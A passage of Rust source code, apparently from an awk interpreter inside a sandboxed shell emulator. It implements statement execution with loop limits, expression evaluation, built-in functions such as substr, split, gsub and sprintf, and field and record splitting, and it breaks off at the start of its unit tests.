Signal::Exit(c) => return Signal::Exit(c),\n                        Signal::None => {}\n                    }\n                    let val = self.eval_expr(cond);\n                    if !val.is_true() {\n                        break;\n                    }\n                }\n                Signal::None\n            }\n            AwkStatement::For {\n                init,\n                cond,\n                step,\n                body,\n            } => {\n                if let Some(init) = init {\n                    let sig = self.execute_statement(init);\n                    if !matches!(sig, Signal::None) {\n                        return sig;\n                    }\n                }\n                let mut iterations = 0usize;\n                loop {\n                    iterations += 1;\n                    if iterations > self.max_loop_iterations {\n                        self.stderr.push_str(\"awk: loop iteration limit exceeded\\n\");\n                        break;\n                    }\n                    if let Some(cond) = cond {\n                        let val = self.eval_expr(cond);\n                        if !val.is_true() {\n                            break;\n                        }\n                    }\n                    match self.execute_statement(body) {\n                        Signal::Break => break,\n                        Signal::Continue => {}\n                        Signal::Next => return Signal::Next,\n                        Signal::Exit(c) => return Signal::Exit(c),\n                        Signal::None => {}\n                    }\n                    if let Some(step) = step {\n                        self.execute_statement(step);\n                    }\n                }\n                Signal::None\n            }\n            AwkStatement::ForIn { var, array, body } => {\n                let keys: Vec<String> = self\n                    .arrays\n                    .get(array.as_str())\n                    .map(|a| a.keys().cloned().collect())\n                    .unwrap_or_default();\n                let mut iterations = 0usize;\n                for key in keys {\n                    iterations += 1;\n                    if iterations > self.max_loop_iterations {\n                        self.stderr.push_str(\"awk: loop iteration limit exceeded\\n\");\n                        break;\n                    }\n                    self.set_variable(var, AwkValue::Str(key));\n                    match self.execute_statement(body) {\n                        Signal::Break => break,\n                        Signal::Continue => continue,\n                        Signal::Next => return Signal::Next,\n                        Signal::Exit(c) => return Signal::Exit(c),\n                        Signal::None => {}\n                    }\n                }\n                Signal::None\n            }\n            AwkStatement::Block(stmts) => self.execute_block(stmts),\n            AwkStatement::Expression(expr) => {\n                self.eval_expr(expr);\n                Signal::None\n            }\n            AwkStatement::Break => Signal::Break,\n            AwkStatement::Continue => Signal::Continue,\n            AwkStatement::Next => Signal::Next,\n            AwkStatement::Exit(code) => {\n                let c = code\n                    .as_ref()\n                    .map(|e| self.eval_expr(e).to_num() as i32)\n                    .unwrap_or(0);\n                Signal::Exit(c)\n            }\n            AwkStatement::Delete { array, indices } => {\n                if let Some(indices) = indices {\n                    let key = self.eval_array_key(indices);\n                    if let Some(arr) = self.arrays.get_mut(array.as_str()) {\n                        arr.remove(&key);\n                    }\n                } else {\n                    self.arrays.remove(array.as_str());\n                }\n                Signal::None\n            }\n        }\n    }\n\n    // ── Print / printf ───────────────────────────────────────────────\n\n    fn output_limit_reached(&self) -> bool {\n        self.stdout.len() > self.max_output_size\n    }\n\n    fn exec_print(&mut self, exprs: &[Expr]) {\n        if self.output_limit_reached() {\n            return;\n        }\n        let ors = self.get_var(\"ORS\").to_string_val();\n        if exprs.is_empty() {\n            let field0 = self.get_field(0);\n            self.stdout.push_str(&field0);\n        } else {\n            let ofs = self.get_var(\"OFS\").to_string_val();\n            let mut parts = Vec::new();\n            for expr in exprs {\n                parts.push(self.eval_expr(expr).to_string_val());\n            }\n            self.stdout.push_str(&parts.join(&ofs));\n        }\n        self.stdout.push_str(&ors);\n    }\n\n    fn exec_printf(&mut self, format_expr: &Expr, arg_exprs: &[Expr]) {\n        if self.output_limit_reached() {\n            return;\n        }\n        let fmt = self.eval_expr(format_expr).to_string_val();\n        let args: Vec<AwkValue> = arg_exprs.iter().map(|e| self.eval_expr(e)).collect();\n        let result = awk_sprintf(&fmt, &args);\n        self.stdout.push_str(&result);\n    }\n\n    // ── Expression evaluation ────────────────────────────────────────\n\n    fn eval_expr(&mut self, expr: &Expr) -> AwkValue {\n        match expr {\n            Expr::Number(n) => AwkValue::Num(*n),\n            Expr::String(s) => AwkValue::Str(s.clone()),\n            Expr::Regex(r) => {\n                // Regex in expression context: match against $0\n                let field0 = self.get_field(0);\n                let matched = self.regex_match(r, &field0);\n                AwkValue::Num(if matched { 1.0 } else { 0.0 })\n            }\n            Expr::Var(name) => self.get_var(name),\n            Expr::FieldRef(idx_expr) => {\n                let idx = self.eval_expr(idx_expr).to_num() as usize;\n                let val = self.get_field(idx);\n                AwkValue::Str(val)\n            }\n            Expr::ArrayRef { name, indices } => {\n                let key = self.eval_array_key(indices);\n                self.get_array_val(name, &key)\n            }\n            Expr::BinaryOp { op, left, right } => self.eval_binary_op(*op, left, right),\n            Expr::UnaryOp { op, expr } => {\n                let val = self.eval_expr(expr);\n                match op {\n                    UnaryOp::Neg => AwkValue::Num(-val.to_num()),\n                    UnaryOp::Pos => AwkValue::Num(val.to_num()),\n                    UnaryOp::Not => AwkValue::Num(if val.is_true() { 0.0 } else { 1.0 }),\n                }\n            }\n            Expr::Assign { target, op, value } => self.eval_assign(target, *op, value),\n            Expr::Ternary { cond, then, else_ } => {\n                if self.eval_expr(cond).is_true() {\n                    self.eval_expr(then)\n                } else {\n                    self.eval_expr(else_)\n                }\n            }\n            Expr::FuncCall { name, args } => self.eval_func_call(name, args),\n            Expr::Concat { left, right } => {\n                let l = self.eval_expr(left).to_string_val();\n                let r = self.eval_expr(right).to_string_val();\n                AwkValue::Str(format!(\"{l}{r}\"))\n            }\n            Expr::InArray { index, array } => {\n                let key = self.eval_expr(index).to_string_val();\n                let exists = self\n                    .arrays\n                    .get(array.as_str())\n                    .is_some_and(|a| a.contains_key(&key));\n                AwkValue::Num(if exists { 1.0 } else { 0.0 })\n            }\n            Expr::Match {\n                expr,\n                regex,\n                negated,\n            } => {\n                let s = self.eval_expr(expr).to_string_val();\n                let pattern = match regex.as_ref() {\n                    Expr::Regex(r) => r.clone(),\n                    other => self.eval_expr(other).to_string_val(),\n                };\n                let matched = self.regex_match(&pattern, &s);\n                let result = if *negated { !matched } else { matched };\n                AwkValue::Num(if result { 1.0 } else { 0.0 })\n            }\n            Expr::PreIncrement(e) => {\n                let val = self.eval_expr(e).to_num() + 1.0;\n                self.assign_to(e, AwkValue::Num(val));\n                AwkValue::Num(val)\n            }\n            Expr::PreDecrement(e) => {\n                let val = self.eval_expr(e).to_num() - 1.0;\n                self.assign_to(e, AwkValue::Num(val));\n                AwkValue::Num(val)\n            }\n            Expr::PostIncrement(e) => {\n                let val = self.eval_expr(e).to_num();\n                self.assign_to(e, AwkValue::Num(val + 1.0));\n                AwkValue::Num(val)\n            }\n            Expr::PostDecrement(e) => {\n                let val = self.eval_expr(e).to_num();\n                self.assign_to(e, AwkValue::Num(val - 1.0));\n                AwkValue::Num(val)\n            }\n            Expr::Getline => {\n                // Basic getline: not fully supported, return 0\n                AwkValue::Num(0.0)\n            }\n        }\n    }\n\n    fn eval_binary_op(&mut self, op: BinOp, left: &Expr, right: &Expr) -> AwkValue {\n        match op {\n            BinOp::And => {\n                let l = self.eval_expr(left);\n                if !l.is_true() {\n                    return AwkValue::Num(0.0);\n                }\n                let r = self.eval_expr(right);\n                AwkValue::Num(if r.is_true() { 1.0 } else { 0.0 })\n            }\n            BinOp::Or => {\n                let l = self.eval_expr(left);\n                if l.is_true() {\n                    return AwkValue::Num(1.0);\n                }\n                let r = self.eval_expr(right);\n                AwkValue::Num(if r.is_true() { 1.0 } else { 0.0 })\n            }\n            BinOp::Add | BinOp::Sub | BinOp::Mul | BinOp::Div | BinOp::Mod | BinOp::Pow => {\n                let l = self.eval_expr(left).to_num();\n                let r = self.eval_expr(right).to_num();\n                let result = match op {\n                    BinOp::Add => l + r,\n                    BinOp::Sub => l - r,\n                    BinOp::Mul => l * r,\n                    BinOp::Div => {\n                        if r == 0.0 {\n                            self.stderr.push_str(\"awk: division by zero\\n\");\n                            0.0\n                        } else {\n                            l / r\n                        }\n                    }\n                    BinOp::Mod => {\n                        if r == 0.0 {\n                            self.stderr.push_str(\"awk: division by zero\\n\");\n                            0.0\n                        } else {\n                            l % r\n                        }\n                    }\n                    BinOp::Pow => l.powf(r),\n                    _ => unreachable!(),\n                };\n                AwkValue::Num(result)\n            }\n            BinOp::Lt | BinOp::Le | BinOp::Gt | BinOp::Ge | BinOp::Eq | BinOp::Ne => {\n                let l = self.eval_expr(left);\n                let r = self.eval_expr(right);\n                let result = compare_values(&l, &r, op);\n                AwkValue::Num(if result { 1.0 } else { 0.0 })\n            }\n        }\n    }\n\n    fn eval_assign(&mut self, target: &Expr, op: AssignOp, value: &Expr) -> AwkValue {\n        let new_val = if op == AssignOp::Assign {\n            self.eval_expr(value)\n        } else {\n            let old = self.eval_expr(target).to_num();\n            let rhs = self.eval_expr(value).to_num();\n            let result = match op {\n                AssignOp::AddAssign => old + rhs,\n                AssignOp::SubAssign => old - rhs,\n                AssignOp::MulAssign => old * rhs,\n                AssignOp::DivAssign => {\n                    if rhs == 0.0 {\n                        self.stderr.push_str(\"awk: division by zero\\n\");\n                        0.0\n                    } else {\n                        old / rhs\n                    }\n                }\n                AssignOp::ModAssign => {\n                    if rhs == 0.0 {\n                        self.stderr.push_str(\"awk: division by zero\\n\");\n                        0.0\n                    } else {\n                        old % rhs\n                    }\n                }\n                AssignOp::PowAssign => old.powf(rhs),\n                AssignOp::Assign => unreachable!(),\n            };\n            AwkValue::Num(result)\n        };\n        self.assign_to(target, new_val.clone());\n        new_val\n    }\n\n    fn assign_to(&mut self, target: &Expr, value: AwkValue) {\n        match target {\n            Expr::Var(name) => {\n                self.set_variable(name, value);\n            }\n            Expr::FieldRef(idx_expr) => {\n                let idx = self.eval_expr(idx_expr).to_num() as usize;\n                self.set_field(idx, &value.to_string_val());\n            }\n            Expr::ArrayRef { name, indices } => {\n                let key = self.eval_array_key(indices);\n                self.set_array_val(name, &key, value);\n            }\n            _ => {\n                // Invalid assignment target — silently ignore\n            }\n        }\n    }\n\n    fn eval_array_key(&mut self, indices: &[Expr]) -> String {\n        if indices.len() == 1 {\n            self.eval_expr(&indices[0]).to_string_val()\n        } else {\n            let subsep = self.get_var(\"SUBSEP\").to_string_val();\n            indices\n                .iter()\n                .map(|e| self.eval_expr(e).to_string_val())\n                .collect::<Vec<_>>()\n                .join(&subsep)\n        }\n    }\n\n    // ── Built-in functions ───────────────────────────────────────────\n\n    fn eval_func_call(&mut self, name: &str, args: &[Expr]) -> AwkValue {\n        match name {\n            \"length\" => {\n                if args.is_empty() {\n                    let s = self.get_field(0);\n                    AwkValue::Num(s.chars().count() as f64)\n                } else {\n                    let val = self.eval_expr(&args[0]);\n                    if let Expr::Var(vname) = &args[0]\n                        && let Some(arr) = self.arrays.get(vname.as_str())\n                    {\n                        return AwkValue::Num(arr.len() as f64);\n                    }\n                    AwkValue::Num(val.to_string_val().chars().count() as f64)\n                }\n            }\n            \"substr\" => {\n                if args.len() < 2 {\n                    return AwkValue::Str(String::new());\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                let chars: Vec<char> = s.chars().collect();\n                let start = self.eval_expr(&args[1]).to_num() as i64;\n                // awk substr is 1-based\n                let start_idx = (start - 1).max(0) as usize;\n                if start_idx >= chars.len() {\n                    return AwkValue::Str(String::new());\n                }\n                if args.len() >= 3 {\n                    let len = self.eval_expr(&args[2]).to_num() as usize;\n                    let effective_len = if start < 1 {\n                        len.saturating_sub((1 - start) as usize)\n                    } else {\n                        len\n                    };\n                    let end = (start_idx + effective_len).min(chars.len());\n                    AwkValue::Str(chars[start_idx..end].iter().collect())\n                } else {\n                    AwkValue::Str(chars[start_idx..].iter().collect())\n                }\n            }\n            \"index\" => {\n                if args.len() < 2 {\n                    return AwkValue::Num(0.0);\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                let target = self.eval_expr(&args[1]).to_string_val();\n                // Return character position, not byte position\n                if target.is_empty() {\n                    return AwkValue::Num(0.0);\n                }\n                let s_chars: Vec<char> = s.chars().collect();\n                let t_chars: Vec<char> = target.chars().collect();\n                let mut found = None;\n                for i in 0..=s_chars.len().saturating_sub(t_chars.len()) {\n                    if s_chars[i..i + t_chars.len()] == t_chars[..] {\n                        found = Some(i);\n                        break;\n                    }\n                }\n                match found {\n                    Some(pos) => AwkValue::Num((pos + 1) as f64),\n                    None => AwkValue::Num(0.0),\n                }\n            }\n            \"split\" => {\n                if args.len() < 2 {\n                    return AwkValue::Num(0.0);\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                let array_name = match &args[1] {\n                    Expr::Var(name) => name.clone(),\n                    _ => return AwkValue::Num(0.0),\n                };\n                let fs = if args.len() >= 3 {\n                    self.eval_expr(&args[2]).to_string_val()\n                } else {\n                    self.get_var(\"FS\").to_string_val()\n                };\n                let parts = split_fields(&s, &fs);\n                // Clear existing array\n                self.arrays.remove(&array_name);\n                let arr = self.arrays.entry(array_name).or_default();\n                for (i, part) in parts.iter().enumerate() {\n                    arr.insert((i + 1).to_string(), AwkValue::Str(part.clone()));\n                }\n                AwkValue::Num(parts.len() as f64)\n            }\n            \"sub\" => self.func_sub(args, false),\n            \"gsub\" => self.func_sub(args, true),\n            \"match\" => {\n                if args.len() < 2 {\n                    return AwkValue::Num(0.0);\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                let pattern = match &args[1] {\n                    Expr::Regex(r) => r.clone(),\n                    _ => self.eval_expr(&args[1]).to_string_val(),\n                };\n                if let Ok(re) = self.get_regex(&pattern) {\n                    if let Some(m) = re.find(&s) {\n                        let rstart = (m.start() + 1) as f64;\n                        let rlength = m.len() as f64;\n                        self.variables\n                            .insert(\"RSTART\".to_string(), AwkValue::Num(rstart));\n                        self.variables\n                            .insert(\"RLENGTH\".to_string(), AwkValue::Num(rlength));\n                        AwkValue::Num(rstart)\n                    } else {\n                        self.variables\n                            .insert(\"RSTART\".to_string(), AwkValue::Num(0.0));\n                        self.variables\n                            .insert(\"RLENGTH\".to_string(), AwkValue::Num(-1.0));\n                        AwkValue::Num(0.0)\n                    }\n                } else {\n                    AwkValue::Num(0.0)\n                }\n            }\n            \"sprintf\" => {\n                if args.is_empty() {\n                    return AwkValue::Str(String::new());\n                }\n                let fmt = self.eval_expr(&args[0]).to_string_val();\n                let vals: Vec<AwkValue> = args[1..].iter().map(|e| self.eval_expr(e)).collect();\n                AwkValue::Str(awk_sprintf(&fmt, &vals))\n            }\n            \"tolower\" => {\n                if args.is_empty() {\n                    return AwkValue::Str(String::new());\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                AwkValue::Str(s.to_lowercase())\n            }\n            \"toupper\" => {\n                if args.is_empty() {\n                    return AwkValue::Str(String::new());\n                }\n                let s = self.eval_expr(&args[0]).to_string_val();\n                AwkValue::Str(s.to_uppercase())\n            }\n            \"int\" => {\n                if args.is_empty() {\n                    return AwkValue::Num(0.0);\n                }\n                let n = self.eval_expr(&args[0]).to_num();\n                AwkValue::Num(n.trunc())\n            }\n            \"sqrt\" => {\n                let n = if args.is_empty() {\n                    0.0\n                } else {\n                    self.eval_expr(&args[0]).to_num()\n                };\n                AwkValue::Num(n.sqrt())\n            }\n            \"sin\" => {\n                let n = if args.is_empty() {\n                    0.0\n                } else {\n                    self.eval_expr(&args[0]).to_num()\n                };\n                AwkValue::Num(n.sin())\n            }\n            \"cos\" => {\n                let n = if args.is_empty() {\n                    0.0\n                } else {\n                    self.eval_expr(&args[0]).to_num()\n                };\n                AwkValue::Num(n.cos())\n            }\n            \"atan2\" => {\n                if args.len() < 2 {\n                    return AwkValue::Num(0.0);\n                }\n                let y = self.eval_expr(&args[0]).to_num();\n                let x = self.eval_expr(&args[1]).to_num();\n                AwkValue::Num(y.atan2(x))\n            }\n            \"exp\" => {\n                let n = if args.is_empty() {\n                    0.0\n                } else {\n                    self.eval_expr(&args[0]).to_num()\n                };\n                AwkValue::Num(n.exp())\n            }\n            \"log\" => {\n                let n = if args.is_empty() {\n                    0.0\n                } else {\n                    self.eval_expr(&args[0]).to_num()\n                };\n                AwkValue::Num(n.ln())\n            }\n            \"rand\" => {\n                // Simple LCG random number generator\n                self.rng_state = self\n                    .rng_state\n                    .wrapping_mul(6_364_136_223_846_793_005)\n                    .wrapping_add(1_442_695_040_888_963_407);\n                let val = (self.rng_state >> 33) as f64 / (1u64 << 31) as f64;\n                AwkValue::Num(val)\n            }\n            \"srand\" => {\n                let old_seed = self.rng_state;\n                self.rng_state = if args.is_empty() {\n                    crate::platform::SystemTime::now()\n                        .duration_since(crate::platform::UNIX_EPOCH)\n                        .map(|d| d.as_nanos() as u64)\n                        .unwrap_or(0)\n                } else {\n                    self.eval_expr(&args[0]).to_num() as u64\n                };\n                AwkValue::Num(old_seed as f64)\n            }\n            _ => {\n                self.stderr\n                    .push_str(&format!(\"awk: unknown function '{name}'\\n\"));\n                AwkValue::Uninitialized\n            }\n        }\n    }\n\n    fn func_sub(&mut self, args: &[Expr], global: bool) -> AwkValue {\n        if args.len() < 2 {\n            return AwkValue::Num(0.0);\n        }\n        let pattern = match &args[0] {\n            Expr::Regex(r) => r.clone(),\n            _ => self.eval_expr(&args[0]).to_string_val(),\n        };\n        let replacement = self.eval_expr(&args[1]).to_string_val();\n\n        // Target defaults to $0\n        let (target_str, target_expr) = if args.len() >= 3 {\n            let s = self.eval_expr(&args[2]).to_string_val();\n            (s, Some(&args[2]))\n        } else {\n            (self.get_field(0), None)\n        };\n\n        let re = match self.get_regex(&pattern) {\n            Ok(re) => re,\n            Err(_) => return AwkValue::Num(0.0),\n        };\n\n        // Process replacement: & means matched text, \\\\ means literal backslash\n        let mut count = 0;\n        let mut result = String::new();\n        let mut last_end = 0;\n\n        for m in re.find_iter(&target_str) {\n            result.push_str(&target_str[last_end..m.start()]);\n            // Process replacement string\n            let mut i = 0;\n            let rep_bytes: Vec<char> = replacement.chars().collect();\n            while i < rep_bytes.len() {\n                if rep_bytes[i] == '&' {\n                    result.push_str(m.as_str());\n                } else if rep_bytes[i] == '\\\\' && i + 1 < rep_bytes.len() {\n                    if rep_bytes[i + 1] == '&' {\n                        result.push('&');\n                        i += 1;\n                    } else if rep_bytes[i + 1] == '\\\\' {\n                        result.push('\\\\');\n                        i += 1;\n                    } else {\n                        result.push(rep_bytes[i + 1]);\n                        i += 1;\n                    }\n                } else {\n                    result.push(rep_bytes[i]);\n                }\n                i += 1;\n            }\n            last_end = m.end();\n            count += 1;\n            if !global {\n                break;\n            }\n        }\n        result.push_str(&target_str[last_end..]);\n\n        // Assign back to target\n        let new_val = AwkValue::Str(result);\n        if let Some(target) = target_expr {\n            self.assign_to(target, new_val);\n        } else {\n            self.set_field(0, &new_val.to_string_val());\n        }\n\n        AwkValue::Num(count as f64)\n    }\n\n    // ── Regex helpers ────────────────────────────────────────────────\n\n    fn regex_match(&mut self, pattern: &str, text: &str) -> bool {\n        match self.get_regex(pattern) {\n            Ok(re) => re.is_match(text),\n            Err(_) => false,\n        }\n    }\n\n    fn get_regex(&mut self, pattern: &str) -> Result<Regex, String> {\n        if let Some(re) = self.regex_cache.get(pattern) {\n            return Ok(re.clone());\n        }\n        match Regex::new(pattern) {\n            Ok(re) => {\n                if self.regex_cache.len() > 1000 {\n                    self.regex_cache.clear();\n                }\n                self.regex_cache.insert(pattern.to_string(), re.clone());\n                Ok(re)\n            }\n            Err(e) => {\n                self.stderr\n                    .push_str(&format!(\"awk: invalid regex '{pattern}': {e}\\n\"));\n                Err(e.to_string())\n            }\n        }\n    }\n}\n\n// ── Comparison helpers ──────────────────────────────────────────────────\n\nfn compare_values(left: &AwkValue, right: &AwkValue, op: BinOp) -> bool {\n    // If both look numeric, compare as numbers; otherwise compare as strings\n    let use_numeric = is_numeric_value(left) && is_numeric_value(right);\n\n    if use_numeric {\n        let l = left.to_num();\n        let r = right.to_num();\n        match op {\n            BinOp::Lt => l < r,\n            BinOp::Le => l <= r,\n            BinOp::Gt => l > r,\n            BinOp::Ge => l >= r,\n            BinOp::Eq => l == r,\n            BinOp::Ne => l != r,\n            _ => false,\n        }\n    } else {\n        let l = left.to_string_val();\n        let r = right.to_string_val();\n        match op {\n            BinOp::Lt => l < r,\n            BinOp::Le => l <= r,\n            BinOp::Gt => l > r,\n            BinOp::Ge => l >= r,\n            BinOp::Eq => l == r,\n            BinOp::Ne => l != r,\n            _ => false,\n        }\n    }\n}\n\nfn is_numeric_value(val: &AwkValue) -> bool {\n    match val {\n        AwkValue::Num(_) => true,\n        AwkValue::Uninitialized => true,\n        AwkValue::Str(s) => {\n            let trimmed = s.trim();\n            if trimmed.is_empty() {\n                return false;\n            }\n            trimmed.parse::<f64>().is_ok()\n        }\n    }\n}\n\n// ── Field splitting ─────────────────────────────────────────────────────\n\nfn split_fields(record: &str, fs: &str) -> Vec<String> {\n    if fs == \" \" {\n        // Default FS: split on runs of whitespace, trim leading/trailing\n        record.split_whitespace().map(|s| s.to_string()).collect()\n    } else if fs.is_empty() {\n        // Empty FS: split each character\n        record.chars().map(|c| c.to_string()).collect()\n    } else if fs.len() == 1 {\n        // Single character FS\n        record.split(fs).map(|s| s.to_string()).collect()\n    } else {\n        // Multi-char FS: treat as regex\n        match Regex::new(fs) {\n            Ok(re) => re.split(record).map(|s| s.to_string()).collect(),\n            Err(_) => vec![record.to_string()],\n        }\n    }\n}\n\nfn split_records(input: &str, rs: &str) -> Vec<String> {\n    if rs == \"\\n\" {\n        // Default RS: split on newlines, but don't include trailing empty record\n        let mut records: Vec<String> = input.split('\\n').map(|s| s.to_string()).collect();\n        // Remove trailing empty record if input ends with newline\n        if records.last().is_some_and(|s| s.is_empty()) {\n            records.pop();\n        }\n        records\n    } else if rs.is_empty() {\n        // Empty RS: paragraph mode (split on blank lines)\n        let mut records = Vec::new();\n        let mut current = String::new();\n        for line in input.split('\\n') {\n            if line.is_empty() {\n                if !current.is_empty() {\n                    // Remove trailing newline from current record\n                    if current.ends_with('\\n') {\n                        current.pop();\n                    }\n                    records.push(current);\n                    current = String::new();\n                }\n            } else {\n                if !current.is_empty() {\n                    current.push('\\n');\n                }\n                current.push_str(line);\n            }\n        }\n        if !current.is_empty() {\n            records.push(current);\n        }\n        records\n    } else if rs.len() == 1 {\n        let mut records: Vec<String> = input.split(&rs[..1]).map(|s| s.to_string()).collect();\n        if records.last().is_some_and(|s| s.is_empty()) {\n            records.pop();\n        }\n        records\n    } else {\n        match Regex::new(rs) {\n            Ok(re) => {\n                let mut records: Vec<String> = re.split(input).map(|s| s.to_string()).collect();\n                if records.last().is_some_and(|s| s.is_empty()) {\n                    records.pop();\n                }\n                records\n            }\n            Err(_) => vec![input.to_string()],\n        }\n    }\n}\n\n// ── sprintf implementation ──────────────────────────────────────────────\n\nfn awk_sprintf(fmt: &str, args: &[AwkValue]) -> String {\n    let mut result = String::new();\n    let chars: Vec<char> = fmt.chars().collect();\n    let mut i = 0;\n    let mut arg_idx = 0;\n\n    while i < chars.len() {\n        if chars[i] == '%' {\n            i += 1;\n            if i >= chars.len() {\n                result.push('%');\n                break;\n            }\n            if chars[i] == '%' {\n                result.push('%');\n                i += 1;\n                continue;\n            }\n\n            // Parse format specifier: [flags][width][.precision]type\n            let mut flags = String::new();\n            while i < chars.len() && \"-+ #0\".contains(chars[i]) {\n                flags.push(chars[i]);\n                i += 1;\n            }\n            let mut width = String::new();\n            if i < chars.len() && chars[i] == '*' {\n                // Width from argument\n                if arg_idx < args.len() {\n                    width = format!(\"{}\", args[arg_idx].to_num() as i64);\n                    arg_idx += 1;\n                }\n                i += 1;\n            } else {\n                while i < chars.len() && chars[i].is_ascii_digit() {\n                    width.push(chars[i]);\n                    i += 1;\n                }\n            }\n            let mut precision = String::new();\n            if i < chars.len() && chars[i] == '.' {\n                i += 1;\n                if i < chars.len() && chars[i] == '*' {\n                    if arg_idx < args.len() {\n                        precision = format!(\"{}\", args[arg_idx].to_num() as i64);\n                        arg_idx += 1;\n                    }\n                    i += 1;\n                } else {\n                    while i < chars.len() && chars[i].is_ascii_digit() {\n                        precision.push(chars[i]);\n                        i += 1;\n                    }\n                }\n            }\n\n            if i >= chars.len() {\n                break;\n            }\n\n            let conv = chars[i];\n            i += 1;\n\n            let arg = if arg_idx < args.len() {\n                let a = &args[arg_idx];\n                arg_idx += 1;\n                a.clone()\n            } else {\n                AwkValue::Uninitialized\n            };\n\n            let w: usize = width.parse().unwrap_or(0);\n            let left_justify = flags.contains('-');\n            let zero_pad = flags.contains('0') && !left_justify;\n\n            let formatted = match conv {\n                'd' | 'i' => {\n                    let n = arg.to_num() as i64;\n                    format!(\"{n}\")\n                }\n                'o' => {\n                    let n = arg.to_num() as i64;\n                    format!(\"{n:o}\")\n                }\n                'x' => {\n                    let n = arg.to_num() as i64;\n                    format!(\"{n:x}\")\n                }\n                'X' => {\n                    let n = arg.to_num() as i64;\n                    format!(\"{n:X}\")\n                }\n                'f' => {\n                    let n = arg.to_num();\n                    let prec: usize = if precision.is_empty() {\n                        6\n                    } else {\n                        precision.parse().unwrap_or(6)\n                    };\n                    format!(\"{n:.prec$}\")\n                }\n                'e' => {\n                    let n = arg.to_num();\n                    let prec: usize = if precision.is_empty() {\n                        6\n                    } else {\n                        precision.parse().unwrap_or(6)\n                    };\n                    format_scientific(n, prec, false)\n                }\n                'E' => {\n                    let n = arg.to_num();\n                    let prec: usize = if precision.is_empty() {\n                        6\n                    } else {\n                        precision.parse().unwrap_or(6)\n                    };\n                    format_scientific(n, prec, true)\n                }\n                'g' | 'G' => {\n                    let n = arg.to_num();\n                    let prec: usize = if precision.is_empty() {\n                        6\n                    } else {\n                        precision.parse().unwrap_or(6)\n                    };\n                    format_g(n, prec)\n                }\n                's' => {\n                    let mut s = arg.to_string_val();\n                    if !precision.is_empty() {\n                        let prec: usize = precision.parse().unwrap_or(s.len());\n                        if s.len() > prec {\n                            s.truncate(prec);\n                        }\n                    }\n                    s\n                }\n                'c' => match &arg {\n                    AwkValue::Str(s) if !s.is_empty() => s.chars().next().unwrap().to_string(),\n                    _ => {\n                        let n = arg.to_num() as u32;\n                        char::from_u32(n).map(|c| c.to_string()).unwrap_or_default()\n                    }\n                },\n                _ => {\n                    // Unknown format specifier, output as-is\n                    format!(\"%{flags}{width}{conv}\")\n                }\n            };\n\n            // Apply width and padding\n            if w > 0 && formatted.len() < w {\n                let padding = w - formatted.len();\n                if left_justify {\n                    result.push_str(&formatted);\n                    for _ in 0..padding {\n                        result.push(' ');\n                    }\n                } else if zero_pad && matches!(conv, 'd' | 'i' | 'f' | 'e' | 'E' | 'g' | 'G') {\n                    // Zero-pad numbers\n                    if let Some(rest) = formatted.strip_prefix('-') {\n                        result.push('-');\n                        for _ in 0..padding {\n                            result.push('0');\n                        }\n                        result.push_str(rest);\n                    } else {\n                        for _ in 0..padding {\n                            result.push('0');\n                        }\n                        result.push_str(&formatted);\n                    }\n                } else {\n                    for _ in 0..padding {\n                        result.push(' ');\n                    }\n                    result.push_str(&formatted);\n                }\n            } else {\n                result.push_str(&formatted);\n            }\n        } else if chars[i] == '\\\\' {\n            i += 1;\n            if i < chars.len() {\n                match chars[i] {\n                    'n' => result.push('\\n'),\n                    't' => result.push('\\t'),\n                    'r' => result.push('\\r'),\n                    '\\\\' => result.push('\\\\'),\n                    '\"' => result.push('\"'),\n                    'a' => result.push('\\x07'),\n                    'b' => result.push('\\x08'),\n                    'f' => result.push('\\x0c'),\n                    '/' => result.push('/'),\n                    _ => {\n                        result.push('\\\\');\n                        result.push(chars[i]);\n                    }\n                }\n                i += 1;\n            } else {\n                result.push('\\\\');\n            }\n        } else {\n            result.push(chars[i]);\n            i += 1;\n        }\n    }\n\n    result\n}\n\nfn format_scientific(n: f64, prec: usize, upper: bool) -> String {\n    if n == 0.0 {\n        let e_char = if upper { 'E' } else { 'e' };\n        return format!(\"{:.prec$}{e_char}+00\", 0.0);\n    }\n    let exp = n.abs().log10().floor() as i32;\n    let mantissa = n / 10f64.powi(exp);\n    let e_char = if upper { 'E' } else { 'e' };\n    format!(\"{mantissa:.prec$}{e_char}{exp:+03}\")\n}\n\nfn format_g(n: f64, prec: usize) -> String {\n    if n == 0.0 {\n        return \"0\".to_string();\n    }\n    let prec = if prec == 0 { 1 } else { prec };\n    let exp = if n != 0.0 {\n        n.abs().log10().floor() as i32\n    } else {\n        0\n    };\n    if exp >= -4 && exp < prec as i32 {\n        // Use fixed notation\n        let decimal_digits = (prec as i32 - 1 - exp).max(0) as usize;\n        let s = format!(\"{n:.decimal_digits$}\");\n        // Remove trailing zeros after decimal point\n        trim_trailing_zeros(&s)\n    } else {\n        // Use scientific notation\n        format_scientific(n, prec - 1, false)\n    }\n}\n\nfn trim_trailing_zeros(s: &str) -> String {\n    if !s.contains('.') {\n        return s.to_string();\n    }\n    let trimmed = s.trim_end_matches('0');\n    if let Some(without_dot) = trimmed.strip_suffix('.') {\n        without_dot.to_string()\n    } else {\n        trimmed.to_string()\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::awk::lexer::Lexer;\n    use crate::commands::awk::parser::Parser;\n\n    fn run_awk(program: &str, input: &str) -> String {\n        let tokens = Lexer::new(program).tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        let inputs = if input.is_empty() {\n            vec![]\n        } else {\n            vec![(\"\".to_string(), input.to_string())]\n        };\n        let (_, stdout, _) = runtime.execute(&ast, &inputs);\n        stdout\n    }\n\n    fn run_awk_full(program: &str, input: &str) -> (i32, String, String) {\n        let tokens = Lexer::new(program).tokenize().unwrap();\n        let ast = Parser::new(tokens).parse().unwrap();\n        let mut runtime = AwkRuntime::new();\n        let inputs = if input.is_empty() {\n            vec![]\n        } else {\n            vec![(\"\".to_string(), input.to_string())]\n        };\n        runtime.execute(&ast, &inputs)\n    }\n\n    #[test]\n    fn print_first_field() {\n        assert_eq!(\n            run_awk(\"{print $1}\", \"hello world\\nfoo bar\\n\"),\n            \"hello\\nfoo\\n\"\n        );\n    }\n\n    #[test]\n    fn print_all_fields() {\n        assert_eq!(run_awk(\"{print $0}\", \"hello world\\n\"), \"hello 